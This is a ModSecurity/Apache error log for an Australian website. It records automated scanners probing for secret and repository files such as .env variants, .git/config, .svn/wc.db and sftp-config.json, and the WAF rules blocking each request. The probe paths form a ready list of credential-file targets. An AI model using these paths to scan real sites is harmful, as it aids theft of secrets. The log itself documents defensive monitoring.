[Mon Dec 01 19:38:19.655857 2025] [:error] [pid 3384:tid 3402] [client 3.139.75.35:54296] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/phpinfo.php"] [unique_id "aS1-K4rlvm8bC96s6ZFM6AAAAJA"]
[Mon Dec 01 19:38:20.434609 2025] [:error] [pid 3384:tid 3393] [client 3.139.75.35:54308] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/info.php"] [unique_id "aS1-LIrlvm8bC96s6ZFM7gAAAIc"]
[Mon Dec 01 19:38:21.212991 2025] [:error] [pid 3307:tid 3321] [client 3.139.75.35:54314] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/backup/phpinfo.php"] [unique_id "aS1-LUhV_0w1hrv72n75pAAAAQw"]
[Mon Dec 01 19:38:21.993839 2025] [:error] [pid 3246:tid 3268] [client 3.139.75.35:54326] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/backup/info.php"] [unique_id "aS1-LVkT8fezoNl7qjd9IgAAAFM"]
[Mon Dec 01 19:38:22.769768 2025] [:error] [pid 3343:tid 3365] [client 3.139.75.35:54342] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/old/phpinfo.php"] [unique_id "aS1-LrLh6htIpruGDDnNQgAAABQ"]
[Mon Dec 01 19:38:23.548111 2025] [:error] [pid 3247:tid 3292] [client 3.139.75.35:54356] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/old/info.php"] [unique_id "aS1-LyMO2n3Q0MZfETIuhAAAANA"]
[Mon Dec 01 19:38:24.326745 2025] [:error] [pid 5120:tid 5131] [client 3.139.75.35:54366] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aS1-MD5X7_hfFhnUCkLO2QAAAUk"]
[Mon Dec 01 19:38:26.801028 2025] [:error] [pid 3246:tid 3260] [client 3.139.75.35:47042] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aS1-MlkT8fezoNl7qjd9LgAAAEs"]
[Mon Dec 01 19:38:27.578985 2025] [:error] [pid 3343:tid 3346] [client 3.139.75.35:47050] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aS1-M7Lh6htIpruGDDnNZwAAAAE"]
[Mon Dec 01 19:38:28.359395 2025] [:error] [pid 3247:tid 3294] [client 3.139.75.35:47062] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aS1-NCMO2n3Q0MZfETIumwAAANI"]
[Mon Dec 01 19:38:29.139358 2025] [:error] [pid 5158:tid 5180] [client 3.139.75.35:47078] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "aS1-NVsnIOgHXYZw9rYuxgAAAZQ"]
[Mon Dec 01 19:38:29.919391 2025] [:error] [pid 3384:tid 3388] [client 3.139.75.35:47086] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aS1-NYrlvm8bC96s6ZFNGwAAAII"]
[Mon Dec 01 19:38:30.704875 2025] [:error] [pid 5158:tid 5182] [client 3.139.75.35:47094] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aS1-NlsnIOgHXYZw9rYuyAAAAZY"]
[Mon Dec 01 19:38:31.485425 2025] [:error] [pid 3246:tid 3269] [client 3.139.75.35:47106] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aS1-N1kT8fezoNl7qjd9OAAAAFQ"]
[Mon Dec 01 19:38:32.268396 2025] [:error] [pid 3246:tid 3261] [client 3.139.75.35:47114] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "aS1-OFkT8fezoNl7qjd9OQAAAEw"]
[Mon Dec 01 19:38:33.051154 2025] [:error] [pid 5158:tid 5163] [client 3.139.75.35:47120] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aS1-OVsnIOgHXYZw9rYu1QAAAYM"]
[Mon Dec 01 19:38:33.836702 2025] [:error] [pid 3343:tid 3354] [client 3.139.75.35:47136] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "aS1-ObLh6htIpruGDDnNbAAAAAk"]
[Mon Dec 01 19:38:34.616742 2025] [:error] [pid 3246:tid 3270] [client 3.139.75.35:47140] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aS1-OlkT8fezoNl7qjd9OwAAAFU"]
[Mon Dec 01 19:38:35.397100 2025] [:error] [pid 3247:tid 3280] [client 3.139.75.35:51434] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "aS1-OyMO2n3Q0MZfETIurgAAAMQ"]
[Mon Dec 01 19:38:36.178126 2025] [:error] [pid 5158:tid 5171] [client 3.139.75.35:51438] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aS1-PFsnIOgHXYZw9rYu4QAAAYs"]
[Mon Dec 01 19:38:36.955184 2025] [:error] [pid 3247:tid 3284] [client 3.139.75.35:51454] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.1"] [unique_id "aS1-PCMO2n3Q0MZfETIusgAAAMg"]
[Mon Dec 01 19:38:37.730900 2025] [:error] [pid 5120:tid 5124] [client 3.139.75.35:51470] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.2"] [unique_id "aS1-PT5X7_hfFhnUCkLO7gAAAUI"]
[Mon Dec 01 19:38:38.510165 2025] [:error] [pid 5120:tid 5123] [client 3.139.75.35:51480] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod.local"] [unique_id "aS1-Pj5X7_hfFhnUCkLO7wAAAUE"]
[Mon Dec 01 19:38:39.287980 2025] [:error] [pid 3247:tid 3292] [client 3.139.75.35:51492] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev.local"] [unique_id "aS1-PyMO2n3Q0MZfETIuuwAAANA"]
[Mon Dec 01 19:38:40.067397 2025] [:error] [pid 3246:tid 3258] [client 3.139.75.35:51506] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/.env"] [unique_id "aS1-QFkT8fezoNl7qjd9QQAAAEk"]
[Mon Dec 01 19:38:40.845319 2025] [:error] [pid 3343:tid 3349] [client 3.139.75.35:51510] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lib/.env"] [unique_id "aS1-QLLh6htIpruGDDnNcQAAAAQ"]
[Mon Dec 01 19:38:41.623359 2025] [:error] [pid 3246:tid 3253] [client 3.139.75.35:51522] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lab/.env"] [unique_id "aS1-QVkT8fezoNl7qjd9QwAAAEQ"]
[Mon Dec 01 19:38:42.400387 2025] [:error] [pid 3246:tid 3267] [client 3.139.75.35:51528] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cronlab/.env"] [unique_id "aS1-QlkT8fezoNl7qjd9RAAAAFI"]
[Mon Dec 01 19:38:43.177979 2025] [:error] [pid 5158:tid 5172] [client 3.139.75.35:51534] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cron/.env"] [unique_id "aS1-Q1snIOgHXYZw9rYu6AAAAYw"]
[Mon Dec 01 19:38:43.961634 2025] [:error] [pid 3307:tid 3322] [client 3.139.75.35:51542] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "aS1-Q0hV_0w1hrv72n75xgAAAQ0"]
[Mon Dec 01 19:38:44.742324 2025] [:error] [pid 3343:tid 3351] [client 3.139.75.35:51552] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/app/.env"] [unique_id "aS1-RLLh6htIpruGDDnNfAAAAAY"]
[Mon Dec 01 19:38:45.519996 2025] [:error] [pid 3343:tid 3355] [client 3.139.75.35:45728] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/Datavase/.env"] [unique_id "aS1-RbLh6htIpruGDDnNgAAAAAo"]
[Mon Dec 01 19:38:46.302800 2025] [:error] [pid 5120:tid 5132] [client 3.139.75.35:45730] [client 3.139.75.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/database/.env"] [unique_id "aS1-Rj5X7_hfFhnUCkLO9gAAAUo"]
[Mon Dec 01 23:10:20.022105 2025] [:error] [pid 11435:tid 11489] [client 101.91.148.219:46288] [client 101.91.148.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aS2v3JIO1XHiDMLlnSvJqgAAABg"]
[Tue Dec 02 00:41:44.596827 2025] [rewrite:error] [pid 46739:tid 46761] [client 104.164.173.242:22716] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Tue Dec 02 01:59:30.836784 2025] [rewrite:error] [pid 18826:tid 18846] [client 104.164.173.111:38680] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Tue Dec 02 02:11:42.207685 2025] [:error] [pid 18735:tid 18779] [client 103.65.236.149:49632] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aS3aXiObBdpXdl5ZEt_5FQAAAQ8"]
[Tue Dec 02 02:11:44.948162 2025] [:error] [pid 18735:tid 18785] [client 103.65.236.149:64155] [client 103.65.236.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aS3aYCObBdpXdl5ZEt_5IAAAARU"]
[Tue Dec 02 05:14:30.206304 2025] [:error] [pid 3649:tid 3723] [client 113.219.218.197:37302] [client 113.219.218.197] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aS4FNrwjL4uqC6YFjxGB0AAAAIw"]
[Tue Dec 02 13:03:45.224939 2025] [:error] [pid 3648:tid 3693] [client 49.13.134.145:13720] [client 49.13.134.145] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "213.163.199.230_7b03441868d2ef3cd45c20fdac42dea2343eb405"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php"] [unique_id "aS5zLuQEp5icp6XOJr1q5QAAAEk"], referer: https://measureyourbrand.com.au/
[Tue Dec 02 15:59:23.856660 2025] [:error] [pid 5272:tid 5276] [client 62.60.131.162:51974] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aS6cW-wbFoRzPGfZYVQpqQAAAUE"]
[Tue Dec 02 16:01:50.460681 2025] [:error] [pid 5273:tid 5321] [client 165.154.228.11:60554] [client 165.154.228.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/favicon.ico"] [unique_id "aS6c7iMmXO5H1kNwHHX_TgAAAZM"]
[Tue Dec 02 16:01:50.715675 2025] [:error] [pid 5273:tid 5316] [client 165.154.228.11:60570] [client 165.154.228.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aS6c7iMmXO5H1kNwHHX_TwAAAY4"]
[Tue Dec 02 16:01:50.955741 2025] [:error] [pid 3760:tid 3762] [client 165.154.228.11:32774] [client 165.154.228.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/favicon.ico"] [unique_id "aS6c7ljLYEjdWVcKgVU03QAAAMA"]
[Tue Dec 02 16:01:51.352923 2025] [:error] [pid 48650:tid 48677] [client 165.154.228.11:32780] [client 165.154.228.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aS6c74QuWSn3xrJsXbktuwAAAdY"]
[Tue Dec 02 17:53:41.704896 2025] [:error] [pid 48650:tid 48663] [client 125.75.66.97:54888] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aS63JYQuWSn3xrJsXbldnAAAAcg"]
[Tue Dec 02 18:22:59.627464 2025] [:error] [pid 3647:tid 3668] [client 213.21.239.4:42994] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/app/.svn/wc.db"] [unique_id "aS6-A1JaqGDFgh_0XI-F9wAAAA8"]
[Tue Dec 02 18:22:59.631643 2025] [:error] [pid 5272:tid 5282] [client 213.21.239.4:43008] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand../wc.db"] [unique_id "aS6-A-wbFoRzPGfZYVRLCAAAAUc"]
[Tue Dec 02 18:22:59.634563 2025] [:error] [pid 3647:tid 3662] [client 213.21.239.4:42904] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/blog/.svn/wc.db"] [unique_id "aS6-A1JaqGDFgh_0XI-F-AAAAAk"]
[Tue Dec 02 18:22:59.635266 2025] [:error] [pid 3649:tid 3725] [client 213.21.239.4:42930] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/application/.svn/wc.db"] [unique_id "aS6-A7wjL4uqC6YFjxF68gAAAI4"]
[Tue Dec 02 18:22:59.640764 2025] [:error] [pid 48650:tid 48669] [client 213.21.239.4:42854] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/backup/.svn/wc.db"] [unique_id "aS6-A4QuWSn3xrJsXblsrgAAAc4"]
[Tue Dec 02 18:22:59.641927 2025] [:error] [pid 5272:tid 5298] [client 213.21.239.4:43058] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/data/.svn/wc.db"] [unique_id "aS6-A-wbFoRzPGfZYVRLCQAAAVc"]
[Tue Dec 02 18:22:59.643464 2025] [:error] [pid 3647:tid 3658] [client 213.21.239.4:43078] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/aomanalyzer/.svn/wc.db"] [unique_id "aS6-A1JaqGDFgh_0XI-F-QAAAAU"]
[Tue Dec 02 18:22:59.644026 2025] [:error] [pid 48650:tid 48668] [client 213.21.239.4:42944] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/cms/.svn/wc.db"] [unique_id "aS6-A4QuWSn3xrJsXblsrwAAAc0"]
[Tue Dec 02 18:22:59.644176 2025] [:error] [pid 5272:tid 5291] [client 213.21.239.4:43070] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/amphtml/.svn/wc.db"] [unique_id "aS6-A-wbFoRzPGfZYVRLCgAAAVA"]
[Tue Dec 02 18:22:59.647076 2025] [:error] [pid 3760:tid 3768] [client 213.21.239.4:42942] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/assets../.svn/wc.db"] [unique_id "aS6-A1jLYEjdWVcKgVVSXQAAAMY"]
